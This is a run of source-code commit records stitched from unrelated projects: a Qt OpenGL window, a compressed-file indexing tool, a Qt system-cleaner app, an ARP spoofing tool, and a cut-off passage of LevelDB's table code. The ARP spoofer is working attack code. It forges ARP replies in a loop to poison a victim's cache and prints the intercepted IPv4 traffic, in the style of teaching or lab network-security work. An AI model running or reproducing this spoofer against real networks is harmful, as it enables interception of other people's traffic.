void Window::contextAboutToBeDestroyed()
{
qCInfo(openGlChan) << "Closing rendering thread";
}
void Window::updateAverageFrameTime(double frameTime)
{
runningTime += frameTime;
++framesInSecond;
if (runningTime > 1.0)
{
avgFrameTime = runningTime / framesInSecond;
emit averageFrameTimeUpdated();
framesInSecond = 0;
runningTime = 0;
}
}
void Window::uiFocusChanged(bool hasFocus)
{
qCDebug(openGlChan) << "uiFocusChanged" << hasFocus;
if (hasFocus)
emit uiGotFocus();
else
emit uiLostFocus();
}
void Window::onMessageLogged(QOpenGLDebugMessage message)
{
// Ignore buffer detailed info which cannot be fixed
if (message.id() == 131185)
return;
// Ignore buffer performance warning
if (message.id() == 131186)
return;
// Ignore generic vertex attribute array 1 uses a pointer with a small value
if (message.id() == 131076)
return;
switch (message.severity())
{
case QOpenGLDebugMessage::Severity::NotificationSeverity:
qCInfo(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::LowSeverity:
qCDebug(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::MediumSeverity:
qCWarning(openGlChan) << message;
break;
case QOpenGLDebugMessage::Severity::HighSeverity:
qCCritical(openGlChan) << message;
throw std::runtime_error(message.message().toStdString());
break;
default:
return;
}
}
<|endoftext|> |
<commit_before>#include "File.h"
#include "Index.h"
#include "RegExpIndexer.h"
#include "ConsoleLog.h"
#include "FieldIndexer.h"
#include "IndexParser.h"
#include <tclap/CmdLine.h>
#include <iostream>
#include <stdexcept>
#include <limits.h>
#include "ExternalIndexer.h"
using namespace std;
using namespace TCLAP;
namespace {
string getRealPath(const string &relPath) {
char realPathBuf[PATH_MAX];
auto result = realpath(relPath.c_str(), realPathBuf);
if (result == nullptr) return relPath;
return string(relPath);
}
}
int Main(int argc, const char *argv[]) {
CmdLine cmd("Create indices in a compressed text file");
UnlabeledValueArg<string> inputFile(
"input-file", "Read input from <file>", true, "", "file", cmd);
SwitchArg verbose("v", "verbose", "Be more verbose", cmd);
SwitchArg debug("", "debug", "Be even more verbose", cmd);
SwitchArg forceColour("", "colour", "Use colour even on non-TTY", cmd);
SwitchArg forceColor("", "color", "Use color even on non-TTY", cmd);
SwitchArg numeric("n", "numeric", "Assume the index is numeric", cmd);
SwitchArg unique("u", "unique", "Assume each line's index is unique", cmd);
SwitchArg sparse("s", "sparse", "Sparse - only save line offsets for rows"
" that have ids. Merges all rows that have no id to the most recent"
"id. Useful if your file is one id row followed by n data rows.", cmd);
ValueArg<uint64_t> checkpointEvery(
"", "checkpoint-every",
"Create a compression checkpoint every <bytes>", false,
0, "bytes", cmd);
ValueArg<string> regex("", "regex", "Create an index using <regex>", false,
"", "regex", cmd);
ValueArg<uint> capture("", "capture",
"Determines which capture group in an regex to use",
false, 0, "capture", cmd);
ValueArg<uint64_t> skipFirst("", "skip-first", "Skip the first <num> lines",
false, 0, "num", cmd);
ValueArg<int> field("f", "field", "Create an index using field <num> "
"(delimited by -d/--delimiter)",
false, 0, "num", cmd);
ValueArg<string> config("c", "config", "Create indexes using json "
"config file <file>", false, "", "indexes", cmd);
ValueArg<char> delimiter("d", "delimiter",
"Use <char> as the field delimiter", false, ' ',
"char", cmd);
ValueArg<string> externalIndexer(
"p", "pipe",
"Create indices by piping output through <CMD> which should output "
"a single line for each input line. "
"Multiple keys should be separated by the --delimiter "
"character (which defaults to a space). "
"The CMD should be unbuffered "
"(man stdbuf(1) for one way of doing this).\n"
"Example: --pipe 'jq --raw-output --unbuffered .eventId')",
false, "", "CMD", cmd);
ValueArg<string> indexFilename("", "index-file",
"Store index in <index-file> "
"(default <file>.zindex)", false, "",
"index-file", cmd);
cmd.parse(argc, argv);
ConsoleLog log(
debug.isSet() ? Log::Severity::Debug : verbose.isSet()
? Log::Severity::Info
: Log::Severity::Warning,
forceColour.isSet() || forceColor.isSet());
try {
auto realPath = getRealPath(inputFile.getValue());
File in(fopen(realPath.c_str(), "rb"));
if (in.get() == nullptr) {
log.debug("Unable to open ", inputFile.getValue(), " (as ",
realPath,
")");
log.error("Could not open ", inputFile.getValue(), " for reading");
return 1;
}
auto outputFile = indexFilename.isSet() ? indexFilename.getValue() :
inputFile.getValue() + ".zindex";
Index::Builder builder(log, move(in), realPath, outputFile);
if (skipFirst.isSet())
builder.skipFirst(skipFirst.getValue());
if (config.isSet()) {
auto indexParser = IndexParser(config.getValue());
indexParser.buildIndexes(&builder, log);
} else {
if (regex.isSet() && field.isSet()) {
throw std::runtime_error(
"Sorry; multiple indices must be defined by an indexes file - see '-i' option");
}
if (regex.isSet()) {
std::cout << regex.getValue() << std::endl;
auto regexIndexer = new RegExpIndexer(regex.getValue(),
capture.getValue());
builder.addIndexer("default", regex.getValue(), numeric.isSet(),
unique.isSet(), sparse.isSet(),
std::unique_ptr<LineIndexer>(regexIndexer));
}
if (field.isSet()) {
ostringstream name;
name << "Field " << field.getValue() << " delimited by '"
<< delimiter.getValue() << "'";
builder.addIndexer("default", name.str(), numeric.isSet(),
unique.isSet(), sparse.isSet(),
std::unique_ptr<LineIndexer>(
new FieldIndexer(delimiter.getValue(),
field.getValue())));
}
if (externalIndexer.isSet()) {
auto indexer = std::unique_ptr<LineIndexer>(
new ExternalIndexer(log,
externalIndexer.getValue(),
delimiter.getValue()));
builder.addIndexer("default", externalIndexer.getValue(),
numeric.isSet(), unique.isSet(),
sparse.isSet(),
std::move(indexer));
}
}
if (checkpointEvery.isSet())
builder.indexEvery(checkpointEvery.getValue());
builder.build();
} catch (const exception &e) {
log.error(e.what());
}
return 0;
}
int main(int argc, const char *argv[]) {
try {
return Main(argc, argv);
} catch (const exception &e) {
cerr << e.what() << endl;
return 1;
}
}
<commit_msg>Remove extraneous cout<commit_after>#include "File.h"
#include "Index.h"
#include "RegExpIndexer.h"
#include "ConsoleLog.h"
#include "FieldIndexer.h"
#include "IndexParser.h"
#include <tclap/CmdLine.h>
#include <iostream>
#include <stdexcept>
#include <limits.h>
#include "ExternalIndexer.h"
using namespace std;
using namespace TCLAP;
namespace {
string getRealPath(const string &relPath) {
char realPathBuf[PATH_MAX];
auto result = realpath(relPath.c_str(), realPathBuf);
if (result == nullptr) return relPath;
return string(relPath);
}
}
int Main(int argc, const char *argv[]) {
CmdLine cmd("Create indices in a compressed text file");
UnlabeledValueArg<string> inputFile(
"input-file", "Read input from <file>", true, "", "file", cmd);
SwitchArg verbose("v", "verbose", "Be more verbose", cmd);
SwitchArg debug("", "debug", "Be even more verbose", cmd);
SwitchArg forceColour("", "colour", "Use colour even on non-TTY", cmd);
SwitchArg forceColor("", "color", "Use color even on non-TTY", cmd);
SwitchArg numeric("n", "numeric", "Assume the index is numeric", cmd);
SwitchArg unique("u", "unique", "Assume each line's index is unique", cmd);
SwitchArg sparse("s", "sparse", "Sparse - only save line offsets for rows"
" that have ids. Merges all rows that have no id to the most recent"
"id. Useful if your file is one id row followed by n data rows.", cmd);
ValueArg<uint64_t> checkpointEvery(
"", "checkpoint-every",
"Create a compression checkpoint every <bytes>", false,
0, "bytes", cmd);
ValueArg<string> regex("", "regex", "Create an index using <regex>", false,
"", "regex", cmd);
ValueArg<uint> capture("", "capture",
"Determines which capture group in an regex to use",
false, 0, "capture", cmd);
ValueArg<uint64_t> skipFirst("", "skip-first", "Skip the first <num> lines",
false, 0, "num", cmd);
ValueArg<int> field("f", "field", "Create an index using field <num> "
"(delimited by -d/--delimiter)",
false, 0, "num", cmd);
ValueArg<string> config("c", "config", "Create indexes using json "
"config file <file>", false, "", "indexes", cmd);
ValueArg<char> delimiter("d", "delimiter",
"Use <char> as the field delimiter", false, ' ',
"char", cmd);
ValueArg<string> externalIndexer(
"p", "pipe",
"Create indices by piping output through <CMD> which should output "
"a single line for each input line. "
"Multiple keys should be separated by the --delimiter "
"character (which defaults to a space). "
"The CMD should be unbuffered "
"(man stdbuf(1) for one way of doing this).\n"
"Example: --pipe 'jq --raw-output --unbuffered .eventId')",
false, "", "CMD", cmd);
ValueArg<string> indexFilename("", "index-file",
"Store index in <index-file> "
"(default <file>.zindex)", false, "",
"index-file", cmd);
cmd.parse(argc, argv);
ConsoleLog log(
debug.isSet() ? Log::Severity::Debug : verbose.isSet()
? Log::Severity::Info
: Log::Severity::Warning,
forceColour.isSet() || forceColor.isSet());
try {
auto realPath = getRealPath(inputFile.getValue());
File in(fopen(realPath.c_str(), "rb"));
if (in.get() == nullptr) {
log.debug("Unable to open ", inputFile.getValue(), " (as ",
realPath,
")");
log.error("Could not open ", inputFile.getValue(), " for reading");
return 1;
}
auto outputFile = indexFilename.isSet() ? indexFilename.getValue() :
inputFile.getValue() + ".zindex";
Index::Builder builder(log, move(in), realPath, outputFile);
if (skipFirst.isSet())
builder.skipFirst(skipFirst.getValue());
if (config.isSet()) {
auto indexParser = IndexParser(config.getValue());
indexParser.buildIndexes(&builder, log);
} else {
if (regex.isSet() && field.isSet()) {
throw std::runtime_error(
"Sorry; multiple indices must be defined by an indexes file - see '-i' option");
}
if (regex.isSet()) {
auto regexIndexer = new RegExpIndexer(regex.getValue(),
capture.getValue());
builder.addIndexer("default", regex.getValue(), numeric.isSet(),
unique.isSet(), sparse.isSet(),
std::unique_ptr<LineIndexer>(regexIndexer));
}
if (field.isSet()) {
ostringstream name;
name << "Field " << field.getValue() << " delimited by '"
<< delimiter.getValue() << "'";
builder.addIndexer("default", name.str(), numeric.isSet(),
unique.isSet(), sparse.isSet(),
std::unique_ptr<LineIndexer>(
new FieldIndexer(delimiter.getValue(),
field.getValue())));
}
if (externalIndexer.isSet()) {
auto indexer = std::unique_ptr<LineIndexer>(
new ExternalIndexer(log,
externalIndexer.getValue(),
delimiter.getValue()));
builder.addIndexer("default", externalIndexer.getValue(),
numeric.isSet(), unique.isSet(),
sparse.isSet(),
std::move(indexer));
}
}
if (checkpointEvery.isSet())
builder.indexEvery(checkpointEvery.getValue());
builder.build();
} catch (const exception &e) {
log.error(e.what());
}
return 0;
}
int main(int argc, const char *argv[]) {
try {
return Main(argc, argv);
} catch (const exception &e) {
cerr << e.what() << endl;
return 1;
}
}
<|endoftext|> |
<commit_before>#include "app.h"
#include "ui_app.h"
#include "Managers/app_manager.h"
App::~App()
{
delete ui;
}
App::App(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::App),
dashboardPage(new DashboardPage(this)),
startupAppsPage(new StartupAppsPage(this)),
systemCleanerPage(new SystemCleanerPage(this)),
servicesPage(new ServicesPage(this)),
processPage(new ProcessesPage(this)),
uninstallerPage(new UninstallerPage(this)),
resourcesPage(new ResourcesPage(this)),
settingsPage(new SettingsPage(this))
{
ui->setupUi(this);
init();
}
void App::init()
{
setGeometry(
QStyle::alignedRect(
Qt::LeftToRight,
Qt::AlignCenter,
size(),
qApp->desktop()->availableGeometry())
);
// form settings
ui->horizontalLayout->setContentsMargins(0,0,0,0);
ui->horizontalLayout->setSpacing(0);
// icon sizes of the buttons on the sidebar 30x30
for (QPushButton *btn : ui->sidebar->findChildren<QPushButton*>())
btn->setIconSize(QSize(26, 26));
// add pages
ui->pageStacked->addWidget(dashboardPage);
ui->pageStacked->addWidget(startupAppsPage);
ui->pageStacked->addWidget(systemCleanerPage);
ui->pageStacked->addWidget(servicesPage);
ui->pageStacked->addWidget(processPage);
ui->pageStacked->addWidget(uninstallerPage);
ui->pageStacked->addWidget(resourcesPage);
ui->pageStacked->addWidget(settingsPage);
on_dashBtn_clicked();
}
void App::pageClick(QPushButton *btn, QWidget *w, QString title)
{
// all button checked false
for (QPushButton *b : ui->sidebar->findChildren<QPushButton*>())
b->setChecked(false);
btn->setChecked(true); // clicked button set active style
AppManager::ins()->updateStylesheet(); // update style
ui->pageTitle->setText("34324");
ui->pageStacked->setCurrentWidget(w);
}
void App::on_dashBtn_clicked()
{
pageClick(ui->dashBtn, dashboardPage, tr("Dashboard"));
}
void App::on_systemCleanerBtn_clicked()
{
pageClick(ui->systemCleanerBtn, systemCleanerPage, tr("System Cleaner"));
}
void App::on_startupAppsBtn_clicked()
{
pageClick(ui->startupAppsBtn, startupAppsPage, tr("System Startup Apps"));
}
void App::on_servicesBtn_clicked()
{
pageClick(ui->servicesBtn, servicesPage, tr("System Services"));
}
void App::on_uninstallerBtn_clicked()
{
pageClick(ui->uninstallerBtn, uninstallerPage, tr("Uninstaller"));
}
void App::on_resourcesBtn_clicked()
{
pageClick(ui->resourcesBtn, resourcesPage, tr("Resources"));
}
void App::on_processesBtn_clicked()
{
pageClick(ui->processesBtn, processPage, tr("Processes"));
}
void App::on_settingsBtn_clicked()
{
pageClick(ui->settingsBtn, settingsPage, tr("Settings"));
}
<commit_msg>Update app.cpp<commit_after>#include "app.h"
#include "ui_app.h"
#include "Managers/app_manager.h"
App::~App()
{
delete ui;
}
App::App(QWidget *parent) :
QMainWindow(parent),
ui(new Ui::App),
dashboardPage(new DashboardPage(this)),
startupAppsPage(new StartupAppsPage(this)),
systemCleanerPage(new SystemCleanerPage(this)),
servicesPage(new ServicesPage(this)),
processPage(new ProcessesPage(this)),
uninstallerPage(new UninstallerPage(this)),
resourcesPage(new ResourcesPage(this)),
settingsPage(new SettingsPage(this))
{
ui->setupUi(this);
init();
}
void App::init()
{
setGeometry(
QStyle::alignedRect(
Qt::LeftToRight,
Qt::AlignCenter,
size(),
qApp->desktop()->availableGeometry())
);
// form settings
ui->horizontalLayout->setContentsMargins(0,0,0,0);
ui->horizontalLayout->setSpacing(0);
// icon sizes of the buttons on the sidebar 30x30
for (QPushButton *btn : ui->sidebar->findChildren<QPushButton*>())
btn->setIconSize(QSize(26, 26));
// add pages
ui->pageStacked->addWidget(dashboardPage);
ui->pageStacked->addWidget(startupAppsPage);
ui->pageStacked->addWidget(systemCleanerPage);
ui->pageStacked->addWidget(servicesPage);
ui->pageStacked->addWidget(processPage);
ui->pageStacked->addWidget(uninstallerPage);
ui->pageStacked->addWidget(resourcesPage);
ui->pageStacked->addWidget(settingsPage);
on_dashBtn_clicked();
}
void App::pageClick(QPushButton *btn, QWidget *w, QString title)
{
// all button checked false
for (QPushButton *b : ui->sidebar->findChildren<QPushButton*>())
b->setChecked(false);
btn->setChecked(true); // clicked button set active style
AppManager::ins()->updateStylesheet(); // update style
ui->pageTitle->setText("34324");
ui->pageStacked->setCurrentWidget(w);
}
void App::on_dashBtn_clicked()
{
pageClick(ui->dashBtn, dashboardPage, tr("Dashboard"));
}
void App::on_systemCleanerBtn_clicked()
{
pageClick(ui->systemCleanerBtn, systemCleanerPage, tr("System Cleaner"));
}
void App::on_startupAppsBtn_clicked()
{
pageClick(ui->startupAppsBtn, startupAppsPage, tr("System Startup Apps"));
}
void App::on_servicesBtn_clicked()
{
pageClick(ui->servicesBtn, servicesPage, tr("System Services"));
}
void App::on_uninstallerBtn_clicked()
{
pageClick(ui->uninstallerBtn, uninstallerPage, tr("Uninstaller"));
}
void App::on_resourcesBtn_clicked()
{
pageClick(ui->resourcesBtn, resourcesPage, tr("Resources"));
}
void App::on_processesBtn_clicked()
{
pageClick(ui->processesBtn, processPage, tr("Processes"));
}
void App::on_settingsBtn_clicked()
{
pageClick(ui->settingsBtn, settingsPage, tr("Settings"));
}
<|endoftext|> |
<commit_before>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h> // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h> // ifr struct
#include <netinet/ether.h> // header ethernet
#include <netinet/in.h> // protocol definitions
#include <netinet/in_systm.h> // tipos de dados (???)
#include <netpacket/packet.h>
#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <thread>
#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"
using namespace Colors;
void SIGINTHandler(int);
int run = 1;
void attack(int socket, int ifindex, BYTE* intMac, const Arp& arp)
{
Arp reply = arp;
reply.operation = 2;
memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
memcpy(reply.senderHAddr, intMac, HLEN);
BYTE ipSwap[PLEN];
memcpy(ipSwap, reply.targetPAddr, PLEN);
memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
memcpy(reply.senderPAddr, ipSwap, PLEN);
Ethernet ethernet;
memcpy(ethernet.destination, reply.targetHAddr, HLEN);
memcpy(ethernet.source, reply.senderHAddr, HLEN);
ethernet.etherType = 0x0806;
int size = 0;
BYTE buff[BUFFSIZE];
size += ethernet.ToBuffer(&buff[0]);
size += reply.ToBuffer(&buff[14]);
std::cout << "Mounting ARP Reply...";
ok();
std::cout << std::endl;
std::cout << ethernet.ToString() << std::endl;
std::cout << reply.ToString() << std::endl;
struct sockaddr_ll destAddr;
destAddr.sll_family = htons(PF_PACKET);
destAddr.sll_protocol = htons(ETH_P_ALL);
destAddr.sll_halen = HLEN;
destAddr.sll_ifindex = ifindex;
memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);
std::cout << green << "Engaging attack!" << std::endl;
int count = 0;
while (run)
{
int ret;
if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
error();
return;
}
count++;
std::this_thread::sleep_for(std::chrono::milliseconds(150));
}
std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
ok();
}
void monitor(int socket, const Arp& arp)
{
BYTE buff[BUFFSIZE];
while (run)
{
recv(socket, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_IPv4)
{
Ip ip(&buff[14]);
if (CompareIP(arp.targetPAddr, ip.targetAddr))
{
std::cout << std::endl << ip.ToString() << std::endl;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
std::cerr << "Usage: spoofer <interface>" << std::endl;
exit(-1);
}
BYTE intMac[HLEN];
BYTE intIp[PLEN];
std::thread* attackThread = nullptr;
std::thread* monitorThread = nullptr;
std::cout << "Capture SIGINT...";
if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
{
error();
exit(-1);
}
ok();
std::cout << "Create socket...";
int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockd < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Retrieve interface index...";
struct ifreq ifr;
strcpy(ifr.ifr_name, argv[1]);
if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
int ifindex = ifr.ifr_ifindex;
ok();
std::cout << "Retrieve interface hardware address...";
if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);
ok();
std::cout << "Retrieve interface protocol address...";
if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);
ok();
std::cout << "Retrieve interface flags... ";
if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Set interface to PROMISCUOUS mode... ";
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
ok();
BYTE buff[BUFFSIZE];
while (run)
{
recv(sockd, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_ARP)
{
Arp arp(&buff[14]);
if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
{
std::cout << std::endl << arp.ToString() << std::endl;
char ch = '\0';
while (ch != 'y' && ch != 'Y' && ch != 'n' && ch != 'N')
{
std::cout << "Attack? [Y/N] ";
std::cin >> ch;
}
if (ch == 'y' || ch == 'Y')
{
attackThread = new std::thread(attack, sockd, ifindex, intMac, arp);
monitorThread = new std::thread(monitor, sockd, arp);
break;
}
}
}
}
if (attackThread != nullptr)
{
attackThread->join();
monitorThread->join();
}
ifr.ifr_flags &= ~IFF_PROMISC;
std::cout << "Unset interface from PROMISCUOUS mode...";
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
close(sockd);
return 0;
}
void SIGINTHandler(int sig)
{
std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
run = 0;
}
<commit_msg>Change 0x0806 to P_ARP.<commit_after>#include <sys/types.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <arpa/inet.h> // manipulação de endereços IP
#include <linux/if_ether.h>
#include <net/ethernet.h>
#include <net/if.h> // ifr struct
#include <netinet/ether.h> // header ethernet
#include <netinet/in.h> // protocol definitions
#include <netinet/in_systm.h> // tipos de dados (???)
#include <netpacket/packet.h>
#include <csignal>
#include <cstring>
#include <iostream>
#include <iomanip>
#include <thread>
#include "colors.h"
#include "helpers.h"
#include "ethernet.h"
#include "arp.h"
#include "ip.h"
using namespace Colors;
void SIGINTHandler(int);
int run = 1;
void attack(int socket, int ifindex, BYTE* intMac, const Arp& arp)
{
Arp reply = arp;
reply.operation = 2;
memcpy(reply.targetHAddr, reply.senderHAddr, HLEN);
memcpy(reply.senderHAddr, intMac, HLEN);
BYTE ipSwap[PLEN];
memcpy(ipSwap, reply.targetPAddr, PLEN);
memcpy(reply.targetPAddr, reply.senderPAddr, PLEN);
memcpy(reply.senderPAddr, ipSwap, PLEN);
Ethernet ethernet;
memcpy(ethernet.destination, reply.targetHAddr, HLEN);
memcpy(ethernet.source, reply.senderHAddr, HLEN);
ethernet.etherType = P_ARP;
int size = 0;
BYTE buff[BUFFSIZE];
size += ethernet.ToBuffer(&buff[0]);
size += reply.ToBuffer(&buff[14]);
std::cout << "Mounting ARP Reply...";
ok();
std::cout << std::endl;
std::cout << ethernet.ToString() << std::endl;
std::cout << reply.ToString() << std::endl;
struct sockaddr_ll destAddr;
destAddr.sll_family = htons(PF_PACKET);
destAddr.sll_protocol = htons(ETH_P_ALL);
destAddr.sll_halen = HLEN;
destAddr.sll_ifindex = ifindex;
memcpy(&(destAddr.sll_addr), ethernet.destination, HLEN);
std::cout << green << "Engaging attack!" << std::endl;
int count = 0;
while (run)
{
int ret;
if ((ret = sendto(socket, buff, size, 0, (struct sockaddr *)&(destAddr), sizeof(struct sockaddr_ll))) < 0) {
error();
return;
}
count++;
std::this_thread::sleep_for(std::chrono::milliseconds(150));
}
std::cout << "Finish attacking thread (" << (int)count << " packets sent)...";
ok();
}
void monitor(int socket, const Arp& arp)
{
BYTE buff[BUFFSIZE];
while (run)
{
recv(socket, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_IPv4)
{
Ip ip(&buff[14]);
if (CompareIP(arp.targetPAddr, ip.targetAddr))
{
std::cout << std::endl << ip.ToString() << std::endl;
}
}
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
}
int main(int argc, char** argv)
{
if (argc != 2)
{
std::cerr << "Usage: spoofer <interface>" << std::endl;
exit(-1);
}
BYTE intMac[HLEN];
BYTE intIp[PLEN];
std::thread* attackThread = nullptr;
std::thread* monitorThread = nullptr;
std::cout << "Capture SIGINT...";
if (signal(SIGINT, SIGINTHandler) == SIG_ERR)
{
error();
exit(-1);
}
ok();
std::cout << "Create socket...";
int sockd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (sockd < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Retrieve interface index...";
struct ifreq ifr;
strcpy(ifr.ifr_name, argv[1]);
if (ioctl(sockd, SIOCGIFINDEX, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
int ifindex = ifr.ifr_ifindex;
ok();
std::cout << "Retrieve interface hardware address...";
if (ioctl(sockd, SIOCGIFHWADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeMAC((BYTE*)&ifr.ifr_hwaddr.sa_data[0], &intMac[0]);
ok();
std::cout << "Retrieve interface protocol address...";
if (ioctl(sockd, SIOCGIFADDR, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
MakeIP((BYTE*)&ifr.ifr_addr.sa_data[2], &intIp[0]);
ok();
std::cout << "Retrieve interface flags... ";
if (ioctl(sockd, SIOCGIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Set interface to PROMISCUOUS mode... ";
ifr.ifr_flags |= IFF_PROMISC;
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
std::cout << "Start listen for ARP Request on " << ifr.ifr_name << " (" << MACToStr(intMac) << " " << IPToStr(intIp) << ")...";
ok();
BYTE buff[BUFFSIZE];
while (run)
{
recv(sockd, (char *) &buff, sizeof(buff), 0x00);
Ethernet ethernet(&buff[0]);
if (ethernet.etherType == P_ARP)
{
Arp arp(&buff[14]);
if (arp.operation == 1 && !CompareIP(arp.targetPAddr, intIp))
{
std::cout << std::endl << arp.ToString() << std::endl;
char ch = '\0';
while (ch != 'y' && ch != 'Y' && ch != 'n' && ch != 'N')
{
std::cout << "Attack? [Y/N] ";
std::cin >> ch;
}
if (ch == 'y' || ch == 'Y')
{
attackThread = new std::thread(attack, sockd, ifindex, intMac, arp);
monitorThread = new std::thread(monitor, sockd, arp);
break;
}
}
}
}
if (attackThread != nullptr)
{
attackThread->join();
monitorThread->join();
}
ifr.ifr_flags &= ~IFF_PROMISC;
std::cout << "Unset interface from PROMISCUOUS mode...";
if (ioctl(sockd, SIOCSIFFLAGS, &ifr) < 0)
{
error();
close(sockd);
exit(-1);
}
ok();
close(sockd);
return 0;
}
void SIGINTHandler(int sig)
{
std::cout << yellow << "Received signal to interrupt execution. Terminating...\n\n" << reset;
run = 0;
}
<|endoftext|> |
<commit_before>// Copyright (c) 2011 The LevelDB Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file. See the AUTHORS file for names of contributors.
#include "leveldb/table.h"
#include "leveldb/cache.h"
#include "leveldb/comparator.h"
#include "leveldb/env.h"
#include "leveldb/filter_policy.h"
#include "leveldb/options.h"
#include "table/block.h"
#include "table/filter_block.h"
#include "table/format.h"
#include "table/two_level_iterator.h"
#include "util/coding.h"
namespace leveldb {
struct Table::Rep {
~Rep() {
delete filter;
delete [] filter_data;
delete index_block;
}
Options options;
Status status;
RandomAccessFile* file;
uint64_t cache_id;
FilterBlockReader* filter;
const char* filter_data;
BlockHandle metaindex_handle; // Handle to metaindex_block: saved from footer
Block* index_block;
};
Status Table::Open(const Options& options,
RandomAccessFile* file,
uint64_t size,
Table** table) {
*table = NULL;
if (size < Footer::kEncodedLength) {
return Status::Corruption("file is too short to be an sstable");
}
char footer_space[Footer::kEncodedLength];
Slice footer_input;
Status s = file->Read(size - Footer::kEncodedLength, Footer::kEncodedLength,
&footer_input, footer_space);
if (!s.ok()) return s;
Footer footer;
s = footer.DecodeFrom(&footer_input);
if (!s.ok()) return s;
// Read the index block
BlockContents contents;
Block* index_block = NULL;
if (s.ok()) {
ReadOptions opt;
if (options.paranoid_checks) {
opt.verify_checksums = true;
}
s = ReadBlock(file, opt, footer.index_handle(), &contents);
if (s.ok()) {
index_block = new Block(contents);
}
}
if (s.ok()) {
// We've successfully read the footer and the index block: we're
// ready to serve requests.
Rep* rep = new Table::Rep;
rep->options = options;
rep->file = file;
rep->metaindex_handle = footer.metaindex_handle();
rep->index_block = index_block;
rep->cache_id = (options.block_cache ? options.block_cache->NewId() : 0);
rep->filter_data = NULL;
rep->filter = NULL;
*table = new Table(rep);
(*table)->ReadMeta(footer);
} else {
if (index_block) delete index_block;
}
return s;
}
void Table::ReadMeta(const Footer& footer) {
if (rep_->options.filter_policy == NULL) {
return; // Do not need any metadata
}
// TODO(sanjay): Skip this if footer.metaindex_handle() size indicates
// it is an empty block.
ReadOptions opt;
if (rep_->options.paranoid_checks) {
opt.verify_checksums = true;
}
BlockContents contents;
if (!ReadBlock(rep_->file, opt, footer.metaindex_handle(), &contents).ok()) {
// Do not propagate errors since meta info is not needed for operation
return;
}
Block* meta = new Block(contents);
Iterator* iter = meta->NewIterator(BytewiseComparator());
std::string key = "filter.";
key.append(rep_->options.filter_policy->Name());
iter->Seek(key);
if (iter->Valid() && iter->key() == Slice(key)) {
ReadFilter(iter->value());
}
delete iter;
delete meta;
}
void Table::ReadFilter(const Slice& filter_handle_value) {
Slice v = filter_handle_value;
BlockHandle filter_handle;
if (!filter_handle.DecodeFrom(&v).ok()) {
return;
}
// We might want to unify with ReadBlock() if we start
// requiring checksum verification in Table::Open.
ReadOptions opt;
if (rep_->options.paranoid_checks) {
opt.verify_checksums = true;
}
BlockContents block;
if (!ReadBlock(rep_->file, opt, filter_handle, &block).ok()) {
return;
}
if (block.heap_allocated) {
rep_->filter_data = block.data.data(); // Will need to delete later
}
rep_->filter = new FilterBlockReader(rep_->options.filter_policy, block.data);
}
Table::~Table() {
delete rep_;
}
static void DeleteBlock(void* arg, void* ignored) {
delete reinterpret_cast<Block*>(arg);
}
static void DeleteCachedBlock(const Slice& key, void* value) {
Block* block = reinterpret_cast<Block*>(value);
delete block;
}
static void ReleaseBlock(void* arg, void* h) {
Cache* cache = reinterpret_cast<Cache*>(arg);
Cache::Handle* handle = reinterpret_cast<Cache::Handle*>(h);
cache->Release(handle);
}
// Convert an index iterator value (i.e., an encoded BlockHandle)
// into an iterator over the contents of the corresponding block.
Iterator* Table::BlockReader(void* arg,
const ReadOptions& options,
const Slice& index_value) {
Table* table = reinterpret_cast<Table*>(arg);
Cache* block_cache = table->rep_->options.block_cache;
Block* block = NULL;
